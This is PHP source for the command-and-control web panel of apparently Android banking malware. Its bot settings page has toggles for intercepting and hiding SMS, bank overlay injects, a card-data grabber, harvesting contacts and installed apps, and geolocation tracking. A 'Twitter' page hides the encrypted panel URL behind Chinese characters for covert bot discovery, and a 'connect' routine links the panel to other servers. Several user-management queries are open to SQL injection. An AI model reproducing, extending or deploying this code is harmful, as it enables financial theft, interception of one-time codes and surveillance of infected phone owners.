|
||||
$str = str_replace("[","@@@",$str);
|
||||
$str = str_replace("]","@@@",$str);
|
||||
$massiv = explode("@@@", $str);
|
||||
$editid;
|
||||
$editid = str_replace("edit","", $massiv[1]);
|
||||
|
||||
|
||||
|
||||
echo "<script>";
|
||||
echo "$(document).ready(function(){";
|
||||
echo "$('#edituser_modal').css({'display':'block'});";
|
||||
echo "});";
|
||||
echo "</script>";
|
||||
|
||||
}
|
||||
|
||||
if (preg_match("/delete/",print_r($_POST,true))){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$str = print_r($_POST,true);
|
||||
$str = str_replace("[","@@@",$str);
|
||||
$str = str_replace("]","@@@",$str);
|
||||
$massiv = explode("@@@", $str);
|
||||
$str = str_replace("delete","", $massiv[1]);
|
||||
|
||||
|
||||
$sql = "DELETE FROM t_users WHERE id='$str'";
|
||||
$connection->query($sql);
|
||||
}
|
||||
if (preg_match("/disable/",print_r($_POST,true))){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$str = print_r($_POST,true);
|
||||
$str = str_replace("[","@@@",$str);
|
||||
$str = str_replace("]","@@@",$str);
|
||||
$massiv = explode("@@@", $str);
|
||||
$str = str_replace("disable","", $massiv[1]);
|
||||
|
||||
$sql = "UPDATE t_users SET status = 'Disabled' WHERE id = '$str';";
|
||||
$connection->query($sql);
|
||||
|
||||
}
|
||||
|
||||
if (preg_match("/enable/",print_r($_POST,true))){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$str = print_r($_POST,true);
|
||||
$str = str_replace("[","@@@",$str);
|
||||
$str = str_replace("]","@@@",$str);
|
||||
$massiv = explode("@@@", $str);
|
||||
$str = str_replace("enable","",$massiv[1]);
|
||||
|
||||
$sql = "UPDATE t_users SET status = 'Action' WHERE id = '$str';";
|
||||
$connection->query($sql);
|
||||
|
||||
}
|
||||
if (preg_match("/connect/",print_r($_POST,true))){
|
||||
$str = print_r($_POST,true);
|
||||
$str = str_replace("[","@@@",$str);
|
||||
$str = str_replace("]","@@@",$str);
|
||||
$massiv = explode("@@@", $str);
|
||||
$url = str_replace("connect","",isset($massiv[1]) ? $massiv[1] : "");
|
||||
$Param = getURL_SERVER();
|
||||
$url=str_replace("_",".",$url);
|
||||
$md5=md5($url);
|
||||
$getData = SendHTTP("$url/setURL.php","$md5|$Param|");
|
||||
}
|
||||
|
||||
|
||||
if (empty($_GET['page'])) {
|
||||
$page = 'bots-settings';
|
||||
}else{
|
||||
$page = $_GET['page'];
|
||||
}
|
||||
|
||||
if($page == "bots-settings"){
|
||||
getBotsSETTINGS();
|
||||
}
|
||||
elseif($page == "users"){
|
||||
getUSERS();
|
||||
}
|
||||
elseif($page == "Twitter"){
|
||||
getTwitter();
|
||||
}
|
||||
else{
|
||||
getBotsSETTINGS();
|
||||
}
|
||||
|
||||
}
|
||||
?>
|
||||
|
||||
|
||||
<?php
|
||||
|
||||
function getTwitter(){
|
||||
include '././crypt.php';
|
||||
echo "<form name='twitter' method='post'>
|
||||
<Center>
|
||||
<div id='DIV_TWITTER' style='width:75%; min-height: 150px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
|
||||
Encrypt url for the admin panel
|
||||
</br></br>
|
||||
<input type='text' name='adminkaurl' value='' id='adminkaurl' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
|
||||
<input type='submit' value='Generate' name='btntwitter' class='btn btn-outline-secondary'/>";
|
||||
|
||||
|
||||
if(isset($_POST["btntwitter"])){
|
||||
$textTwit = isset($_POST['adminkaurl']) ? $_POST['adminkaurl'] : "";
|
||||
echo "</br></br>";
|
||||
$enstr = encrypt($textTwit,cryptKey);
|
||||
|
||||
|
||||
/* $arrayText = str_split($full, 1);
|
||||
$fullText="";
|
||||
for($i=0;$i<count($arrayText);$i++){
|
||||
$randInt = rand(0, 6);
|
||||
$space = "";
|
||||
if($randInt!=0){
|
||||
for($j=0;$j<$randInt;$j++){
|
||||
$space="$space ";
|
||||
}
|
||||
}
|
||||
$fullText="$fullText$space".$arrayText[$i];
|
||||
}*/
|
||||
|
||||
|
||||
|
||||
$arrayCH = array(
|
||||
"Q" => "需",
|
||||
"W" => "要",
|
||||
"E" => "意",
|
||||
"R" => "在",
|
||||
"T" => "中",
|
||||
"Y" => "并",
|
||||
"U" => "没",
|
||||
"I" => "有",
|
||||
"O" => "个",
|
||||
"P" => "概",
|
||||
"A" => "念",
|
||||
"S" => "小",
|
||||
"D" => "语",
|
||||
"F" => "拼",
|
||||
"G" => "亡",
|
||||
"H" => "及",
|
||||
"J" => "注",
|
||||
"K" => "鲜",
|
||||
"L" => "新",
|
||||
"Z" => "死",
|
||||
"X" => "之",
|
||||
"C" => "类",
|
||||
"V" => "阿",
|
||||
"B" => "努",
|
||||
"N" => "比",
|
||||
"M" => "拉",
|
||||
"q" => "丁",
|
||||
"w" => "化",
|
||||
"e" => "体",
|
||||
"r" => "系",
|
||||
"y" => "都",
|
||||
"u" => "只",
|
||||
"i" => "斯",
|
||||
"o" => "一",
|
||||
"p" => "套",
|
||||
"a" => "用",
|
||||
"s" => "恶",
|
||||
"d" => "件",
|
||||
"f" => "来",
|
||||
"g" => "标",
|
||||
"h" => "音",
|
||||
"j" => "的",
|
||||
"k" => "符",
|
||||
"l" => "号",
|
||||
"z" => "而",
|
||||
"x" => "不",
|
||||
"c" => "是",
|
||||
"v" => "字",
|
||||
"b" => "母",
|
||||
"n" => "寂",
|
||||
"m" => "寞",
|
||||
"=" => "肏",
|
||||
"0" => "你",
|
||||
"1" => "妈",
|
||||
"2" => "屄",
|
||||
"3" => "引",
|
||||
"4" => "脚",
|
||||
"5" => "吸",
|
||||
"6" => "员",
|
||||
"7" => "会",
|
||||
"8" => "膏",
|
||||
"9" => "药");
|
||||
|
||||
foreach ($arrayCH as $key => $value) {
|
||||
$enstr = str_replace($key,$value,$enstr);
|
||||
}
|
||||
// 苏尔的开始 - начало
|
||||
// 苏尔苏尔完 - конец
|
||||
$full = "苏尔的开始".$enstr."苏尔苏尔完";
|
||||
|
||||
|
||||
|
||||
echo "<pre style=' min-height: 30px;width:85%;color:#fff; border-color: #43717a; background: #1D1F24;'>$full</pre>";
|
||||
}
|
||||
|
||||
echo "
|
||||
</div>
|
||||
</Center>
|
||||
</form>
|
||||
";
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
function getUSERS()
|
||||
{
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM t_users";
|
||||
|
||||
|
||||
echo "<form name='getUSERS' method='post'>
|
||||
<center>
|
||||
<div id='DIV_USERS' style='width:75%; min-height: 300px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
|
||||
USERS";
|
||||
echo "</br>";
|
||||
|
||||
echo "<input type='submit' value='Add User' name='ADDUSER' style='width:100px; margin-left:-83%;' class='btn btn-outline-success '/>";
|
||||
|
||||
echo "<table class='table table-hover table_dark' id='bootstrap-table'>
|
||||
<thead class='header_table_bots'>
|
||||
|
||||
<th>Login</th>
|
||||
<th>Permission</th>
|
||||
<th>Tag bots</th>
|
||||
<th>Status</th>
|
||||
<th>Actions</th>
|
||||
</thead>";
|
||||
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
$id = $row['id'];
|
||||
$login = $row['login'];
|
||||
$right = $row['right_'];
|
||||
$status = $row['status'];
|
||||
$tag = $row['tag'];
|
||||
|
||||
if(($tag=="")||($tag==" "))
|
||||
{
|
||||
$tag = "";
|
||||
}
|
||||
|
||||
if($status != "Disabled")
|
||||
{
|
||||
$btn_act = "<input type='submit' value='DISABLED' name='disable$id' style='width:105px;' class='btn btn-outline-warning '/>";
|
||||
}
|
||||
else
|
||||
{
|
||||
$btn_act = "<input type='submit' value='ENABLE' name='enable$id' style='width:90px;' class='btn btn-outline-primary '/>";
|
||||
}
|
||||
|
||||
echo "<tr class='table_bots' style='color: #A4A4A4;'>
|
||||
<td>$login </td>
|
||||
<td>$right</td>
|
||||
<td>$tag</td>
|
||||
<td>$status</td>
|
||||
<td>
|
||||
$btn_act
|
||||
<input type='submit' value='EDIT' name='edit$id' class='btn btn-outline-primary'/>
|
||||
<input type='submit' value='DELETE' name='delete$id' class='btn btn-outline-danger'/>
|
||||
</td>
|
||||
</tr>";
|
||||
}
|
||||
echo "</table>";
|
||||
echo "</div>
|
||||
</center>
|
||||
</form>";
|
||||
}
|
||||
|
||||
function getBotsSETTINGS()
|
||||
{
|
||||
|
||||
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection3->exec('SET NAMES utf8');
|
||||
$sql3 = "SELECT * FROM settingsall";
|
||||
|
||||
$checkInjectionsApps = "";
|
||||
$secondInjectionsApps = "";
|
||||
$checkRequestGeolocation = "";
|
||||
$secondRequestGeolocation = "";
|
||||
$checkGrab_auto = "";
|
||||
$Grab_auto = "";
|
||||
$secondGrab_auto = "";
|
||||
$checkInjGrab = "";
|
||||
$InjGrab = "";
|
||||
$secondInjGrab = "";
|
||||
$checkPhoneContacts = "";
|
||||
$secondPhoneContacts = "";
|
||||
$checkStartGeolocation = "";
|
||||
$secondStartGeolocation = "";
|
||||
$findfiles = "";
|
||||
foreach($connection3->query($sql3) as $row)
|
||||
{
|
||||
if($row['id']=="1")
|
||||
{
|
||||
$adminkaurl = $row['urls'];
|
||||
|
||||
$injurl = $row['urlInj'];
|
||||
|
||||
$intInterval = $row['intInterval'];
|
||||
if($intInterval=="") $intInterval = "14000";
|
||||
|
||||
$checksms = $row['checksms'];
|
||||
|
||||
$checkhidesms = $row['checkhidesms'];
|
||||
|
||||
$checkgeolocation = $row['checkgeolocation'];
|
||||
|
||||
$checkInjectionsApps = $row['checkInjectionsApps'];
|
||||
$secondInjectionsApps = $row['secondInjectionsApps'];
|
||||
|
||||
$checkRequestGeolocation = $row['checkRequestGeolocation'];
|
||||
$secondRequestGeolocation = $row['secondRequestGeolocation'];
|
||||
|
||||
$checkGrab_auto = $row['checkGrab_auto'];
|
||||
$secondGrab_auto = $row['secondGrab_auto'];
|
||||
|
||||
$checkInjGrab = $row['checkInjGrab'];
|
||||
$secondInjGrab = $row['secondInjGrab'];
|
||||
|
||||
$checkPhoneContacts = $row['checkPhoneContacts'];
|
||||
$secondPhoneContacts = $row['secondPhoneContacts'];
|
||||
|
||||
$checkStartGeolocation = $row['checkStartGeolocation'];
|
||||
$secondStartGeolocation = $row['secondStartGeolocation'];
|
||||
|
||||
$findfiles = $row['findfiles'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
echo "<form name='getBotsSETTINGS' method='post' action='application/set/editSettingsPanel.php'>
|
||||
<div id='Bots_settings' style='width:34%; min-height: 300px; margin-top:20px; margin-left:36%; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
|
||||
<center>Bots SETTINGS</center>
|
||||
</br></br>
|
||||
|
||||
<a style='margin-left:5%; color:#fff'>URLs panel(url1,url2,..)</a>
|
||||
<input type='text' name='adminkaurl' value='$adminkaurl' id='adminkaurl' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
|
||||
</br></br>
|
||||
|
||||
<a style='margin-left:5%; color:#fff'>URL injections</a>
|
||||
<input type='text' name='injurl' value='$injurl' id='injurl' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
|
||||
</br></br>
|
||||
|
||||
|
||||
<a style='margin-left:5%; color:#fff'>Bots request interval(Milliseconds)</a>
|
||||
<input type='text' name='intInterval' value='$intInterval' id='intInterval' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
|
||||
</br></br>
|
||||
|
||||
<a style='margin-left:5%; color:#fff'>Find the raw file(.doc/.txt/.apk)</a>
|
||||
<input type='text' name='findfiles' value='$findfiles' id='intInterval' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
|
||||
</br></br>";
|
||||
|
||||
|
||||
|
||||
if($checksms=="1"){
|
||||
echo "<input type='checkbox' value='1' checked='checked' name='checksms' id='checksms' style='margin-left:5%' />";
|
||||
}else{
|
||||
echo "<input type='checkbox' value='1' name='checksms' id='checksms' style='margin-left:5%' />";
|
||||
}
|
||||
echo "<a style='margin-left:1%; color:#fff'>Interception SMS</a>
|
||||
</br></br>";
|
||||
|
||||
|
||||
if($checkhidesms=="1"){
|
||||
echo "<input type='checkbox' value='1' checked='checked' name='checkhidesms' id='checkhidesms' style='margin-left:5%' />";
|
||||
}else{
|
||||
echo "<input type='checkbox' value='1' name='checkhidesms' id='checkhidesms' style='margin-left:5%' />";
|
||||
}
|
||||
echo "<a style='margin-left:1%; color:#fff'>Hidden SMS interception</a>
|
||||
</br></br>";
|
||||
|
||||
if($checkgeolocation=="1"){
|
||||
echo "<input type='checkbox' value='1' checked='checked' name='checkgeolocation' id='checkgeolocation' style='margin-left:5%' />";
|
||||
}else{
|
||||
echo "<input type='checkbox' value='1' name='checkgeolocation' id='checkgeolocation' style='margin-left:5%' />";
|
||||
}
|
||||
echo "<a style='margin-left:1%; color:#fff'>Start geolocation </a>
|
||||
</br></br>
|
||||
|
||||
<a style='margin-left:5%; color:#fff'>On timer:</a></br></br>";
|
||||
|
||||
if($checkInjectionsApps=="1"){
|
||||
echo "<input type='checkbox' onclick='reqProc();' value='1' checked='checked' name='checkInjectionsApps' id='requestProc' style='margin-left:5%' />";
|
||||
}else{
|
||||
echo "<input type='checkbox' onclick='reqProc();' value='1' name='checkInjectionsApps' id='requestProc' style='margin-left:5%' />";
|
||||
$secondInjectionsApps="";
|
||||
}
|
||||
|
||||
echo "
|
||||
<a style='color:#fff;' >Request permission for injection</a></br>
|
||||
<input type='text' name='secondInjectionsApps' value='$secondInjectionsApps' id='textIDrequestProc' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
<a style='color:#fff'>seconds</a>
|
||||
</br></br>";
|
||||
|
||||
|
||||
if($checkRequestGeolocation=="1"){
|
||||
echo "<input type='checkbox' onclick='reqGEO();' value='1' checked='checked' name='checkRequestGeolocation' id='request_geo' style='margin-left:5%' />";
|
||||
}else{
|
||||
echo "<input type='checkbox' onclick='reqGEO();' value='1' name='checkRequestGeolocation' id='request_geo' style='margin-left:5%' />";
|
||||
$secondRequestGeolocation="";
|
||||
}
|
||||
|
||||
echo "
|
||||
<a style='color:#fff;' >Request permission for geolocation</a>
|
||||
<input type='text' name='secondRequestGeolocation' id='textIDRequest_geo' value='$secondRequestGeolocation' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
<a style='color:#fff'>seconds</a>
|
||||
|
||||
</br></br>";
|
||||
|
||||
if($checkGrab_auto=="1"){
|
||||
echo "<input type='checkbox' onclick='addinjauto();' checked='checked' name='checkGrab_auto' value='1' id='checkaddinjauto' style='margin-left:5%' />";
|
||||
}else{
|
||||
echo "<input type='checkbox' onclick='addinjauto();' name='checkGrab_auto' value='1' id='checkaddinjauto' style='margin-left:5%' />";
|
||||
$secondGrab_auto="";
|
||||
}
|
||||
|
||||
echo "
|
||||
<a style='color:#fff;' >Auto Injects Banks</a>
|
||||
<input type='text' name='secondGrab_auto' value='$secondGrab_auto' id='textIDaddinjauto' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
<a style='color:#fff'>seconds</a>
|
||||
";
|
||||
//-----------------------Авто инжект-------------------------
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM injection";
|
||||
$sql2 = "SELECT * FROM settingsall";
|
||||
|
||||
|
||||
echo "
|
||||
</br>";
|
||||
|
||||
if($checkInjGrab=="1"){
|
||||
echo "<input type='checkbox' onclick='addInjNoAuto();' checked='checked' value='1' name='checkInjGrab' id='IDaddInjNoAuto' style='margin-left:5%' onclick='checkAll('chk');' />";
|
||||
}else{
|
||||
echo "<input type='checkbox' onclick='addInjNoAuto();' value='1' name='checkInjGrab' id='IDaddInjNoAuto' style='margin-left:5%' onclick='checkAll('chk');' />";
|
||||
$secondInjGrab="";
|
||||
}
|
||||
|
||||
echo "
|
||||
<a style='color:#fff;' >Select Injections + Grabber Cards</a></br>
|
||||
<input type='text' name='secondInjGrab' value='$secondInjGrab' id='TextIDaddInjNoAuto' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
<a style='color:#fff'>seconds</a>";
|
||||
|
||||
|
||||
|
||||
//-----------------------Выбранные инжекты--+--Граббер карт-------------------------
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM injection";
|
||||
$sql2 = "SELECT * FROM settingsall";
|
||||
|
||||
foreach($connection->query($sql2) as $row)
|
||||
{
|
||||
$id=$row['id'];
|
||||
if($id=="1")
|
||||
{
|
||||
$InjGrab = $row['checkInjGrab'];
|
||||
$InjGrab = $row['InjGrab'];
|
||||
$secondInjGrab = $row['secondInjGrab'];
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
$inject_s = explode("|", $InjGrab);
|
||||
|
||||
echo "<div style='width:75%; margin-top:5px; margin-left:5%; height:150px; background: #1D1F24;; border: 1px solid #C1C1C1; overflow: auto;'>";
|
||||
$idcheck=0;
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
$ID_inj = $row['id'];
|
||||
$name_inj = $row['name'];
|
||||
|
||||
$bool_inj=false;
|
||||
foreach($inject_s as $ids)
|
||||
{
|
||||
$bool_inj=false;
|
||||
if($ids == $ID_inj)
|
||||
{
|
||||
echo "<input type=checkbox name=check2_set[] value=$ID_inj value='1' id='checkTextIDaddInjNoAuto$idcheck' style='margin-top: -10px;' checked='checked'><a style='color:#337ab7'>$name_inj</a></input></br>";
|
||||
$idcheck++;
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
$bool_inj = true;
|
||||
}
|
||||
}
|
||||
if($bool_inj == true)
|
||||
{
|
||||
echo "<input type=checkbox name=check2_set[] value=$ID_inj id='checkTextIDaddInjNoAuto$idcheck' value='1' style='margin-top: -10px;'><a style='color:#337ab7'>$name_inj</a></input></br>";
|
||||
$idcheck++;
|
||||
}
|
||||
}
|
||||
echo "</div></br>";
|
||||
|
||||
|
||||
if($checkPhoneContacts=="1"){
|
||||
echo "<input type='checkbox' onclick='GetPhoneContacts();' checked='checked' name='checkPhoneContacts' value='1' id='checkGetPhoneContacts' style='margin-left:5%' />";
|
||||
}else{
|
||||
echo "<input type='checkbox' onclick='GetPhoneContacts();' name='checkPhoneContacts' value='1' id='checkGetPhoneContacts' style='margin-left:5%' />";
|
||||
$secondPhoneContacts="";
|
||||
}
|
||||
|
||||
echo "
|
||||
<a style='color:#fff;' >Get phone contacts/all applications</a></br>
|
||||
<input type='text' name='secondPhoneContacts' value='$secondPhoneContacts' id='TextIDcheckGetPhoneContacts' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
<a style='color:#fff'>seconds</a>
|
||||
|
||||
</br></br>";
|
||||
|
||||
if($checkStartGeolocation == "1"){
|
||||
echo "<input type='checkbox' onclick='Getgeolocation();' checked='checked' name='checkStartGeolocation' value='1' id='checkGetgeolocation' style='margin-left:5%' />";
|
||||
}else{
|
||||
echo "<input type='checkbox' onclick='Getgeolocation();' name='checkStartGeolocation' value='1' id='checkGetgeolocation' style='margin-left:5%' />";
|
||||
$secondStartGeolocation="";
|
||||
}
|
||||
|
||||
echo "
|
||||
<a style='color:#fff;' >Start geolocation</a></br>
|
||||
<input type='text' name='secondStartGeolocation' value='$secondStartGeolocation' id='TextIDcheckGetgeolocation' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
|
||||
<a style='color:#fff'>seconds</a>
|
||||
|
||||
</br></br>
|
||||
|
||||
<center>
|
||||
<input type='submit' value='SAVE SETTINGS' id='SAVESETTINGS' name='SAVESETTINGS' class='btn btn-outline-success' style='Width:40%; Height: 30px; font-size: 14; margin-top:20px;'/>
|
||||
</center>
|
||||
</br>
|
||||
</div>";
|
||||
}
|
||||
|
||||
|
||||
//*****
|
||||
function CheckURL($url){
|
||||
if($url=check_url($url))
|
||||
{
|
||||
if ($o=open_url($url))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
function check_url($url)
|
||||
{
|
||||
if(preg_match("@^http://@i",$url)) $url = preg_replace("@(http://)+@i",'http://',$url);
|
||||
else if (preg_match("@^https://@i",$url)) $url = preg_replace("@(https://)+@i",'https://',$url);
|
||||
else $url = 'http://'.$url;
|
||||
|
||||
|
||||
if (filter_var($url, FILTER_VALIDATE_URL) === FALSE) {
|
||||
return false;
|
||||
}
|
||||
else return $url;
|
||||
}
|
||||
// Существование ссылки (URL)
|
||||
function open_url($url)
|
||||
{
|
||||
$url_c=parse_url($url);
|
||||
|
||||
if (!empty($url_c['host']) and checkdnsrr($url_c['host']))
|
||||
{
|
||||
// Ответ сервера
|
||||
if ($otvet=@get_headers($url)){
|
||||
return substr($otvet[0], 9, 3);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function SendHTTP($URL,$request){
|
||||
//if(CheckURL("$URL")){
|
||||
if(($request!=null)&&(strlen($request)!=0)){
|
||||
$params = array('p' => $request);
|
||||
$result = file_get_contents("$URL", false, stream_context_create(array(
|
||||
'http' => array(
|
||||
'method' => 'POST',
|
||||
'header' => 'Content-type: application/x-www-form-urlencoded',
|
||||
'content' => http_build_query($params)
|
||||
)
|
||||
)));
|
||||
}
|
||||
return "$result";
|
||||
/*}else{
|
||||
return "noconnect|";*/
|
||||
//}
|
||||
}
|
||||
//*****
|
||||
function getURL_SERVER(){
|
||||
$protocol=empty($_SERVER['HTTPS'])?'http://':'https://';
|
||||
$SERVER_NAME = $_SERVER['SERVER_NAME'];
|
||||
return "$protocol$SERVER_NAME";
|
||||
}
|
||||
//*****
|
||||
?>
|
||||
|
||||
|
||||
|
||||
<?php//--ADD USERS"--------?>
|
||||
<div id = "adduser_modal" style="padding-top:70px;">
|
||||
<div id = "modal_s" style="Width:280px; Height: 340px; background: #1D1F24; margin: 100px auto 0 auto; padding: 10px; border-radius: 5px;">
|
||||
<a id="exit" href="index.php?cont=settings&page=users" style="margin-left:97%; cursor: pointer; color: Red;" onclick="document.getElementById('log_modal').style.display = 'none'";>X</a>
|
||||
<form name="modal_set" method="POST" action="application/set/addUsers.php">
|
||||
<div class="styled-select">
|
||||
|
||||
<a style='color:#fff'>LOGIN</a><input type="text" name="login" id="styled-select" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;"></input>
|
||||
</br></br>
|
||||
<a style='color:#fff'>PASSWORD</a><input type="text" name="password" id="styled-select" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;"></input>
|
||||
</br></br>
|
||||
|
||||
<a style='color:#fff'>RIGHT</a>
|
||||
<select name="RIGHT" style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'>
|
||||
<option value='user'>User
|
||||
<option value='traffic'>Traffic
|
||||
<option value='admin'>Admin
|
||||
</select>
|
||||
</br></br>
|
||||
<a style='color:#fff'>PRIVATE TAG (tag1,tag2,..)</a><input type='text' name='tag' id='styled-select' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'></input>
|
||||
|
||||
<center>
|
||||
<input type='submit' value='ADD USER' id="ADDUSER" name='ADDUSER' class='btn btn-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;'/>
|
||||
</center>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<?php//--EDIT USERS"--------?>
|
||||
<div id = "edituser_modal" style="padding-top:70px;">
|
||||
<div id = "modal_s" style="Width:280px; Height: 340px; background: #1D1F24; margin: 100px auto 0 auto; padding: 10px; border-radius: 5px;">
|
||||
<a id="exit" href="index.php?cont=settings&page=users" style="margin-left:97%; cursor: pointer; color: Red;" onclick="document.getElementById('log_modal').style.display = 'none'";>X</a>
|
||||
<form name="modal_set" method="POST" action="application/set/editUsers.php">
|
||||
<div class="styled-select">
|
||||
|
||||
<?php
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM t_users";
|
||||
|
||||
$login = "";
|
||||
$password = "";
|
||||
$right = "";
|
||||
$tag = "";
|
||||
|
||||
$editid = isset($editid) ? $editid : ''; // 0?
|
||||
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
if($editid==$row['id'])
|
||||
{
|
||||
$login = $row['login'];
|
||||
$password = $row['password'];
|
||||
$tag=$row['tag'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
echo "
|
||||
<a style='color:#fff'>LOGIN</a><input type='text' value='$login' name='login' id='styled-select' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'></input>
|
||||
</br></br>
|
||||
<a style='color:#fff'>PASSWORD</a><input type='text' value='' name='password' id='styled-select' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'></input>
|
||||
</br></br>
|
||||
|
||||
<a style='color:#fff'>RIGHT</a>
|
||||
<select name='RIGHT' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'>
|
||||
<option value='user'>User
|
||||
<option value='traffic'>Traffic
|
||||
<option value='admin'>Admin
|
||||
</select>
|
||||
</br></br>
|
||||
<a style='color:#fff'>PRIVATE TAG (tag1,tag2,..)</a><input type='text' value='$tag' name='tag' id='styled-select' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;'></input>
|
||||
";?>
|
||||
|
||||
|
||||
<center>
|
||||
<input type='submit' value='EDIT USER' id="EDITUSER" name='EDITUSER' class='btn btn-outline-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;'/>
|
||||
</center>
|
||||
<?php echo "<input type='text' value=$editid name='getID' style='visibility:hidden'/>";?>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
if (document.getElementById("requestProc").checked) {
|
||||
document.getElementById("textIDrequestProc").disabled = false;
|
||||
}else {
|
||||
document.getElementById("textIDrequestProc").value='';
|
||||
document.getElementById("textIDrequestProc").disabled = true;
|
||||
}
|
||||
if (document.getElementById("request_geo").checked) {
|
||||
document.getElementById("textIDRequest_geo").disabled = false;
|
||||
}else {
|
||||
document.getElementById("textIDRequest_geo").value='';
|
||||
document.getElementById("textIDRequest_geo").disabled = true;
|
||||
}
|
||||
|
||||
if (document.getElementById("checkGetPhoneContacts").checked) {
|
||||
document.getElementById("TextIDcheckGetPhoneContacts").disabled = false;
|
||||
}else {
|
||||
document.getElementById("TextIDcheckGetPhoneContacts").value='';
|
||||
document.getElementById("TextIDcheckGetPhoneContacts").disabled = true;
|
||||
}
|
||||
|
||||
if (document.getElementById("checkGetgeolocation").checked) {
|
||||
document.getElementById("TextIDcheckGetgeolocation").disabled = false;
|
||||
}else {
|
||||
document.getElementById("TextIDcheckGetgeolocation").value='';
|
||||
document.getElementById("TextIDcheckGetgeolocation").disabled = true;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (document.getElementById("IDaddInjNoAuto").checked) {
|
||||
document.getElementById("TextIDaddInjNoAuto").disabled = false;
|
||||
|
||||
}else {
|
||||
document.getElementById("TextIDaddInjNoAuto").value='';
|
||||
document.getElementById("TextIDaddInjNoAuto").disabled = true;
|
||||
|
||||
|
||||
}
|
||||
|
||||
if (document.getElementById("checkaddinjauto").checked) {
|
||||
document.getElementById("textIDaddinjauto").disabled = false;
|
||||
|
||||
}else {
|
||||
document.getElementById("textIDaddinjauto").value='';
|
||||
document.getElementById("textIDaddinjauto").disabled = true;
|
||||
|
||||
}
|
||||
</script>
|
||||
@@ -0,0 +1,143 @@
|
||||
<?php
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}
|
||||
|
||||
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
?>
|
||||
|
||||
